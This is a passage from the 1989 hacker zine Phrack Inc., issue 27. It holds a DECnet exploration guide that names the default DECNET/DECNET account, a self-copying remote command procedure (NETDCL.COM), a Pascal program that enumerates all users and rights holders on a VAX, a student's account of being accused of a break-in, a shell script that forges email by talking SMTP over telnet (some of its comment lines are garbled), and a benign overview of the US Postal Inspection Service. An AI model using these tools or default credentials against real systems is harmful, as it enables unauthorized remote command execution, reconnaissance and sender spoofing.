Your current node is mentioned in the first line in "VAX/VMS network status for local node X.Y Name". In most cases you will then just see local nodes listed and a line saying "The next hop to the nearest area router is node XX.YY". This node contains more information about the DECNET than the node you are currently on. If you have an account on the specified node, log on there and try again. If not, well, play with the local nodes listed and look at the command NCP shown later.

Now, what can you do with those nodes that were mentioned in the output? First command is

```
    $ SET HOST <node>
```

Where <node> is either a nodename or a nodenumber (see above). Thus, if SDIVAX was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX or SET HOST 43021 (42*1024+13 = 43021). Probably you'll get that ugly Username: prompt. You're on your own then.

Second thing you can do with DECNET is email. On VMS the MAIL program can send mail to other users. If you and your friend both have accounts on the same DECNET, you can send him mail if you know his nodename or nodenumber by specifying SDIVAX::FREDDY or 43021::FREDDY.

Then there is PHONE. This is a utility to talk to another (or several) user(s) on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If he is logged in, his terminal will ring and if he answers his phone (with PHONE ANSWER) you may chat with him. PHONE has another nice feature built in: You may ask for a list of active users on a remote name by %DIR SDIVAX. See the online help on PHONE for further details.

The next really mighty DECNET facility is remote file access. Valid filenames in VMS consist of the components node, disk, directory and filename. An example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some components may be omitted and default values are used instead.

File names including the node specification may be used in nearly all VMS commands examples being DIR, TYPE and COPY. Access to the specified file is granted, if the protection of the file allows access by world, or if the owner of the file is the user DECNET. This pseudo userid is available on every VAX and has the password DECNET. Access to that account is limited to network processing so you can't just log in with Username=DECNET, password=DECNET. By default a special directory owned by the User DECNET exists on each node. This directory can be accessed by just specifying the nodename without any disk or directory information, as in

```
    $ DIR SDIVAX::
```

If users played too much with this feature, the directory may be protected or otherwise disabled.

The last feature described here is the remote command processing facility. If you try to open a file with the specification

```
    $ SDIVAX::"task=foo.com"
```

Instead of opening the DCL procedure, foo.com will be executed. To make use of this feature easily, programs have been written to interactively communicate with a remote host. The command procedure NETDCL.COM does this task and is contained in the Appendix A (seen later in this file. Look at this DCL-Procedure to learn more about DECNET features.

The Key To Universal Knowledge

There is a pearl under the programs on a VAX. It's called NCP and will give readily information about the whole DECNET. You start this program either by MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP. Use the on-line Help provided in NCP (which means Network Control Program) to learn more.

```
    NCP> SHOW KNOWN NODES
```

Provides a list of all nodes known on your current node, including the names you may use as node specifications. But there is more: You may connect to another node's database and get a list of nodes which are known at the remote node with

```
    NCP> SET EXEC SDIVAX
```

And then again the SHOW KNOWN NODES command. This feature should provide you with a nearly infinite list of node names and node numbers.

Conclusion

There are many nice features available under DECNET. Probably I don't know all, but I hope this article showed you the mighty tools available on VMS to make network life easier.

WARNING: The author has had bad experiences with some node administrators, who didn't like their machines being contacted over DECNET. Yes, that's the drawback, each DECNET activity is written to a protocol file that is printed and deleted every month. So you should be careful in using DECNET.

- -

APPENDIX A:

The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM

```
$ IF f$mode() .EQS. "NETWORK" THEN GOTO network
$ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1
$ nodespec = p1 - "::"
$ nodename = f$extract(0,f$locate("""",nodespec),nodespec)
$! include the following line for "hard cases"
$! nodespec = nodespec+"""decnet decnet"""
$ ON WARNING THEN CONTINUE
$ CLOSE/ERR=open_server dcl_server
$open_server:
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure
$ ON WARNING THEN GOTO exit
$flush_output:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND" -
  THEN GOTO send_command
$ WRITE sys$output record
$ GOTO flush_output
$send_command:
$ IF p2 .NES. "" THEN GOTO single_command
$ READ sys$command record /PROMPT="''nodename'> " /END=exit
$ record  := 'record
$ IF record .EQS. "EXIT" THEN GOTO exit
```

```
$ WRITE dcl_server record
$ GOTO flush_output
$single_command:
$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$ WRITE dcl_server command
$single_flush:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND"-
$ THEN GOTO exit
$ WRITE sys$output record
$ GOTO single_flush
$open_failure:
$ ON WARNING THEN EXIT
$ COPY/LOG Netdcl.Com 'nodespec'::
$ WAIT 0:0:1
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
$ ON WARNING THEN GOTO exit
$ GOTO flush_output
$exit:
$ CLOSE dcl_server
$ EXIT
$network:
$ OPEN/READ/WRITE dcl_link sys$net
$ SET NOON
$ dcl_verify = 'f$verify(0)'
$ DEFINE sys$output dcl_link:
$server_loop:
$ WRITE dcl_link "SEND_ME_A_COMMAND"
$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
$ 'dcl_string'
$  GOTO server_loop
$server_exit:
$ IF dcl_verify THEN set verify
$ CLOSE dcl_link
$ DEASSIGN sys$output
$ EXIT
```

APPENDIX B

ALLUSER.PAS - Show all registered users

```
{
* alluser.pas - get names of all users
* by Deep, 1989
* This program is freely redistributable as long no modifications are made
* DISCLAIMER: I take no responsibility for any use or abuse of this
*             program.  It is given for informational purpose only.
*
* program history:
* 04-May-89   started
* 02-Jun-89   clean up of code
}
[inherit ('sys$library:starlet.pen')]
program alluser(input,output);

  type $word      = [word] 0..65535;
       $byte      = [byte] 0..255;
       $quadword  = record
                      lo,hi : unsigned;
                    end;
       $uquad  = record
                      lo,hi : unsigned;
                    end;
var
  id: unsigned;
  status, status2: integer;
  length: $WORD;
  attrib,context,context2,context3: unsigned;
  ident, ident2: unsigned;
```

```
  name: varying [512] of char;
  holder: $uquad;

begin

writeln('Alluser - use at your own risk!');
status := SS$_NORMAL;
{ id = -1 selects next identifier }
id := -1;
context := 0;
while (status <> SS$_NOSUCHID) do
   begin
   { find next identifier }
   status := $idtoasc(id,name.length,name.body,ident,attrib,context);
   if (status <> SS$_NOSUCHID) then begin
      write(pad(name,' ',16));
      if (ident div (65536*32768) > 0) then
         { it's a rights-list, so print the hex-value of the identifier }
         begin
         writeln(oct(ident,12));
         context2 := 0;
         context3 := 0;
         { find all holders of this right }
         repeat
            holder := zero;
            status2 := $find_holder(ident,holder,attrib,context2);
            if (holder.lo <> 0) then begin
                ident2 := ident;
                { get UIC and username }
                status := $idtoasc(holder.lo,name.length,name.body,ident2
                    ,attrib,context3);
                write('                ',pad(name,' ',16));
                writeln('[',oct(holder.lo div 65536,3),','
                    ,oct(holder.lo mod 65536,3),']');
               end;
         until (holder.lo = 0);
         end
      else
         { it's a UIC, so translate to [grp,user] }
         begin
         writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']');
         end;
      end;
   end;
end.
-----------------------
```

This article has been brought to you by Deep Thought of West Germany. If you liked this article, grant me access if I once drop in your BBS!

==Phrack Inc.==

Volume Three, Issue 27, File 7 of 12

The Making Of A Hacker

by Framstag of West Germany

June 2, 1989

Prologue For None VMS Users

DECnet is the network for DEC machines, in most cases you can say VAXes. DECnet allows you to do:
- e-mail
- file transfer
- remote login
- remote command
- remote job entry
- PHONE

PHONE is an interactive communication between users and is equal to TALK on UNIX or a "deluxe"-CHAT on VM/CMS.

BELWUE, the university network of the state Baden-Wuerttemberg in West Germany contains (besides other networks) a DECnet with about 400 VAXes. On every VAX there is standard-account called DECNET with pw:= DECNET, which is not reachable via remote login. This account is provided for several DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very restricted privileges: You cannot edit a file or make another remote login.

The HELP-menu is equipped by the system and is similar to the MAN command on UNIX.

More information on DECnet can be found in "Looking Around In DECnet" by Deep Thought in this very issue of Phrack Inc.

- -

Here, at the University of Ulm, we have an *incredibly* ignorant computer center staff, with an even bigger lack of system-literature (besides the 80 kg of VAX/VMS-manuals). The active may search for information by himself, which is over the level of "run," "FORTRAN," or "logout." My good luck that I have other accounts in the BELWUE-DECnet, where more information is offered for the users. I am a regular student in Ulm and all my accounts are completely legal and corresponding to the German laws. I don't call myself a "hacker," I feel more like a "user" (...it's more a defining-problem).

In the HELP-menu in a host in Tuebingen I found the file netdcl.com and the corresponding explanation, which sends commands to the DECNET-Account of other VAXes and executes them there (remote command). The explanation in the HELP-menu was idiot-proof -- therefore for me, too :-)

With the command "$ mcr ncp show known nodes" you can obtain a list of all netwide active VAXes, as is generally known, and so I pinged all these VAXes to look for more information for a knowledge-thirsty user. With "help", "dir" and other similar commands I look around on those DECnet accounts, always watching for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAXes have locked the DECNET-Account for NETDCL.COM. Their system managers are probably afraid of unauthorized access, but I cannot imagine how there could be such an unauthorized access, because you cannot log on this account -- no chance for trojan horses, etc.

Some system managers called me back after I visited their VAX to chat with me about the network and asked me if they could help me in any way. One sysop from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation system.

Then, after a month, the H O R R O R came over me in shape of a the following mail:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38
To: FRAMSTAG
CC:
Subj: don't make any crap, or you'll be kicked out!

From: ITTGPX::SYSTEM 29-MAY-1989 16:46
To: TUEBINGEN::SYSTEM
Subj: System-breaking-in 01-May-1989

To the system manager of the Computer TUEBINGEN,

On May 1st 1989 we had a System-breaking-in in our DECNET-account, which started from your machine. By help of our accounting we ascertained your user FRAMSTAG to have emulated an interactive log-on on our backbone-node and on every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us this user's name and address and dear up the occurrence completely. We point out that the user is punishable. In case of repetition we would be forced to take corresponding measures. We will check whether our system got injured. If not, this time we will disregard any measure. Inform us via DECnet about your investigation results -- we are attainable by the nodenumber 1084::system

Dipl.-Ing. Michael Hager
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

My system manager threatened me with the deleting of my account, if I would not immediately enlighten the affair. *Gulp*!

I was conscious about my innocence, but how to tell it to the others? I explained, step by step, everything to my system manager. He then understood after a while, but the criminal procedure still hovered over me... so, I took quickly to my keyboard, to compose file of explanations and to send it to that angry system manager in Stuttgart (node 1084 is an institute there). But no way out: He had run out of disk quota and my explanation-mail sailed into the nirwana:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
```
$ mail explanation
  To:   1084::system
%MAIL-E, error sending to user SYSTEM at 1084
%MAIL-E-OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
as output
-RMS-E-CRE, ACP file create failed
-SYSTEM-F-EXDISKQUOTA, disk quota exceeded
```
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

Also the attempt of a connection with the PHONE-facilty failed: In his borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with the REAL-addresses of the virtual DECnet-addresses available (to prevent hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no chance to vindicate myself. I poured out my troubles to an acquaintance of mine, who is a sysop in the computer-center in Freiburg. He asked other sysops and managers thru the whole BELWUE-network until someone gave him a telephone number after a few days -- and that was the right one!

I phoned to this Hager and told him what I had done with his DECnet-account and also what NOT. I wanted to know which crime I had committed. He promptly cancelled all of his reproaches, but he did not excuse his defamous incriminations. I entreated him to inform my system manager in Tuebingen that I have done nothing illegal and to stop him from erasing my account. This happens already to a fellow student of mine (in this case, Hager was also guilty). He promised me that he would officially cancel his reproaches.

After over a week this doesn't happen (I'm allowed to use my account further on). In return for it, I received a new mail from Hager on another account of mine:

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

From: 1084::HAGER 1-JUN-1989 12:51
To: 50180::STUD_11
Subj: System-breaking-in

On June 1st 1989 you have committed a system-breaking-in on at least one of our VAXes. We were able to register this occurrence. We would be forced to take further measure if you did not dear up the occurrence completely until June 6th.

Of course the expenses involved would be imposed on you. Hence enlightenment must be in your own interest.

We are attainable via DECnet-mail with the address 1084::HAGER or via following address:

Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
Dipl.-Ing. M. Hager Tel.: 0711/685-6109
Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
Pfaffenwaldring 9/10-1
7000 Stuttgart-80

M. Hager
M. Mrzyglod

--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---

This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not answered to this mail. I AM SICK OF IT!

Framstag
(FRAMSTAG@DTUPEV5A.BITNET)

With Special Thanks For Translation Assistance To Schrulli B.

==Phrack Inc.==

Volume Three, Issue 27, File 8 of 12

Sending Fake Mail In Unix

by Dark OverLord

May 26, 1989

Here is a shell script that can be use to send fakemail from any Unix system.
Have fun and stay out of trouble.

-Dark Overlord

-=-=-=-=-=-=-=-=-=-=-=-=-=-= Cut here -=-=-=-=-=-=-=-=-=-=-=-=-=-=

```
! /bin/sh
#Mfakemail - A shell script to send fakemail.
#M###M#M\023et up the path.
PATH=/usr/ucb:/bin:$HOME/Bin
#M\020arse the command line
case $ in
0)echo "USAGE: user@host [ from@somewhere ] [ mailer_host ]" >& 2
exit 1
;;
1)mailto=$1
from="person@campus"
mailerhost=localhost
;;
2)mailto=$1
from=$2
mailerhost=localhost
;;
3)mailto=$1
from=$2
mailerhost=$3
;;
*)echo "USAGE: user@host [ from@somewhere ] [ mailer_host" >& 2
exit 1
;;
esac
#M\003reate a header for sendmail
cat <<E!O!F!> /tmp/cli$$
helo $mailerhost
mail from:$from<$from>
rcpt to: $mailto <$mailto>
data
From: $from
To: $mailto
Subject:
Status: RO


E!O!F!
#M\005dit the mailer
vi /tmp/cli$$
#M\001dd a ending for the mailer
cat <<E!O!F!>> /tmp/cli$$
.
quit
E!O!F!
#M\003onnect to the remote host's sendmail daemon
telnet $mailerhost smtp < /tmp/cli$$
#M\003lean up time
```

```
/bin/rm -f /tmp/cli$$
```

==Phrack Inc.==

Volume Three, Issue 27, File 9 of 12

+=====================================+

The Postal Inspection Service

(C) UNITED STATES POSTAL SERVICE (U.S. MAIL)

Brought to you by

Vendetta

May 10, 1989

+=====================================+

Protecting The U.S. Mails

The protection of the U.S. Mail and the mail system is the responsibility of the Postal Inspection Service. As the law enforcement and audit arm of the U.S. Postal Service, the Inspection Service is a highly specialized, professional organization performing investigative, law enforcement, and audit functions essential to a stable and sound postal system.

As our country's oldest federal law enforcement agency, the Inspection Service has jurisdiction in all criminal matters infringing on the integrity and security of the mail, and the safety of all postal valuables, property, and personnel.

Since the beginning of a postal system in this country, criminal and administrative problems of the Postal Service have been interwoven. By detecting and investigating crimes against the mail and postal revenue, establishing safe and efficient postal systems, protecting all postal properties, assuring that the postal system is not criminally misused to the detriment of the public, the Inspection Service plays an integral part in maintaining effective operations in the Postal Service.

The agency's activities make a vital contribution to the protection of the nation's economy. Security and enforcement functions of the Inspection Service provide assurance to American business for the safe exchange of funds and securities through the U.S. Mail, and to postal customers of the sanctity of the seal in transmitting correspondence and messages to all parts of the world. Audits ensure stability to financial operations, help control costs, and promote increased efficiency in our Postal Service.

Postal Inspectors

Postal Inspectors are the fact finding and investigative agents of the U.S. Postal Service. Today nearly two-thirds of their time is spent in investigating and solving postal related crimes. Possessing statutory power of arrest, they apprehend violators of the law and work closely with U.S. Attorneys in prosecuting cases in court. Their work also includes crime prevention, the audit of postal operations, investigation of accidents and a wide variety of other service and audit matters.

The work of a Postal Inspector requires total dedication and a willingness to work long hours. Investigations of postal crimes which often entail interstate or international coordination, and the responsibility to restore mail service following catastrophes such as floods, fire, and airplane wrecks, are time-consuming and can be hazardous.

There are approximately 1,900 Postal Inspectors stationed in the United States and Puerto Rico. All trainees undergo an eleven-week basic training course involving use of firearms, defensive tactics, legal matters, search and seizure, arrest techniques, court procedures, postal operations, audit

functions, and a detailed study of the federal laws in which the Inspection Service has jurisdiction. Classes are conducted at the Inspection Service training center in Potomac, Maryland.

Refresher courses keep Inspectors informed of current court decisions, laws, and legal procedures. Additional specialized courses are continually held to equip the Service with expertly trained personnel.

All applicants for the position of Postal Inspector must successfully complete the following steps; entry examination; a comprehensive background investigation including ma medical examination; the candidate assessment center review; and all phases of the basic training course.

Inspection Service Activity

Criminal investigations and postal crime prevention represent the greatest portion of Inspection Service activity.

Postal Inspectors investigate violations of all postal laws and other related criminal violations. Crimes within the purview of postal investigations include mail fraud, the illegal transmission of controlled substances through the U.S. Mail, the mailing of child pornography, thefts of mails or postal valuables, assaults on postal employees, bombs sent through the mails or directed against postal properties, and the mailing of matter containing poison, unauthorized concealable firearms, and harmful or prohibited articles.

Five crime laboratories located throughout the country assist Inspectors in analyzing evidentiary material needed for identifying and tracing criminal suspects and in providing expert testimony for cases brought to trial.

The objectives of postal crime prevention are to anticipate, identify, and analyze those areas of greatest crime risk potentially affecting employees, funds, property, and postal customers. Postal Inspectors then take action to remove or reduce that risk and maintain the integrity of the Postal Service.

"The Postal Inspection Service is responsible for the internal audit of the Postal Service."

Postal Inspectors provide management with independent audits and investigations of all postal activities as a part of the Postal Service’s internal control system.

Audits of installations and systems protect the assets of the Service, improve its financial management system, assist in the resolution of customer complaints, investigate matters of Congressional interests, and identify specific improvements for better customer service and more economical operations.

Financial audits provide an independent check on the adequacy and effectiveness of control systems; verify the existence of assets and ensure the proper safeguards are maintained. Operations audits are conducted to assist postal management in the operation of an efficient, and reliable Postal Service.

Security Force

Postal Police Officers provide protection to mail, postal valuables, postal employees, facilities, and vehicles of the Postal Service. As part of the law enforcement team, they assist Postal Inspectors in the enforcement of certain postal laws and regulations on postal premises and provide mobile response unites in emergency situations involving the Postal Service.

Equipped with portable radios and alerted by closed circuit television they provide perimeter security to major postal facilities and other buildings operated by the Postal Service. Their presence in postal installations throughout the country is a deterrent to postal crimes and an aid to employee morale.

Postal Police Officers also are used to escort high value mail while in transit

between postal units and at airports.

Experience in military or civil law enforcement, industrial security, or similar occupations is an asset for positions in the Security Force. All appointees undergo a four-week training course conducted at the Inspection Service's training center.

Coordination With Other Agencies

The Inspection Service extends full cooperation to all local and federal investigative and prosecutive authorities in law enforcement matters to ensure greater protection to the public. Postal Inspectors participate in the Department of Justice national strike force teams aimed at curtailing widespread criminal acts of an organized nature. Postal Inspectors also work closely with the External Auditors in providing support to the certification of the Postal Service's financial statements.

Conviction Rate

The Inspection Service maintains a consistently high conviction rate each year of approximately 98% of cases brought to trial, a rate not exceeded by any other federal law enforcement agency.

Jurisdiction, Postal Laws, and Protection

The Inspection Service exercises investigative jurisdiction over approximately 85 postal-related statues. These can be grouped in two categories: Criminal acts against the mails, postal facilities, or postal personnel; and criminal misuse of the postal system.

MAIL FRAUD

All criminal activity involving use of the U.S. Mail with intent to defraud comes under the jurisdiction of the Postal Inspection Service. The Mail Fraud Law is the oldest consumer protection law in the United States and is one of the most effective prosecutive tool in fighting white collar and organized crime. Millions of dollars are lost each year through mail fraud which cheats not only the poor and the elderly, but businessmen and the consumer as well. Prevalent schemes include insurance, banking, false billings; land and advance-fee selling swindles; franchise schemes; work-at-home and fraudulent diploma schemes; charity schemes; promotions of fake health cures, beauty devices, fast-working diets, and sex stimulants; chain letters, lotteries, and solicitations for the sale of advertising specialty items.

While Postal Inspectors have no statutory authority to act as intermediaries in the settlement of unsatisfactory financial or property transactions conducted through the mails, their investigations frequently result in the discontinuance of fraudulent or borderline operations. Administrative mail-stop orders may be issued to prevent continuing public loss while sufficient evidence is being developed for criminal prosecutive action in the courts, or in cases where false representations, but not necessarily fraudulent intent, can be proven. The Inspection Service has a leading role in consumer protection through the implementation of educational programs designed to prevent mail fraud schemes from developing, and through its efforts to resolve complaints relating to consumer/vendor misunderstandings or poor business practices.

ORGANIZED CRIME

Investigations by Postal Inspectors in organized crime matters most frequently relate to cases involving theft and fencing of large amounts of stamp stock and securities by organized post office burglary rings; insurance and investment frauds; and planned bankruptcies and schemes aimed at looting company assets. The Organized Crime Control Act of 1970 specifically includes violation of the Mail Fraud Statue as "racketeering activity." Postal Inspectors are assigned to the Justice Department Organized Crime Strike Forces which operate at various

points throughout the country.

MAIL THEFT/BURGLARY/ROBBERY

Investigation of mail theft offenses are a large part of the Inspection Service's responsibilities and most commonly involve stolen checks, food coupons, or other negotiable securities. Primary attention is directed at major gangs, sophisticated fencing operations, large scale thefts, and the implementation of preventive programs.

Burglaries of post offices range from vandalism to high level burglary rings and fencing operations involving organized crime activity.

Armed robberies endanger the lives of postal employees and the public and, therefore, are priority investigations. The targets of these crimes usually are postal facilities, vehicles transporting mail, and individual employees, primarily letter carriers.

DRUGS

Illegal trafficking in drugs, narcotics, and other controlled substances through the mail is investigated in conjunction with other federal and state law enforcement agencies.

PORNOGRAPHY

The Inspection Service investigates violations of the Postal Obscenity Statue enacted in 1865 which prohibits the sending of obscene materials through the U.S. Mail. This includes the investigation of child pornography offenses involving the sexual abuse of exploitation of children based on laws passed in 1977 and 1984.

BOMBS

Investigations of incidents of threats involving bombs and incendiary devices sent through the mails or directed at postal properties or functions are within the jurisdiction of the Inspection Service.

EXTORTION

The Inspection Service has investigative responsibility in incidents involving use of the mails to extort money or property by threat of injury to person's reputation or by accusing a person of a crime.

OTHER PROHIBITED MAILINGS

The mailing of poisons or other harmful matter prohibited by law is investigated by Postal Inspectors.

Assistance From The Public

In most cases, the Inspection Service must rely on the watchfulness and alertness of mail recipients to inform them of possible criminal or harmful activity involving the use of the mails. Any suspected violations of postal laws or misuse of the mails should be reported to the local Postmaster for referral to a Postal Inspector. Prompt action on the part of postal customers and Postal Inspectors is essential in the interest of crime prevention and detection.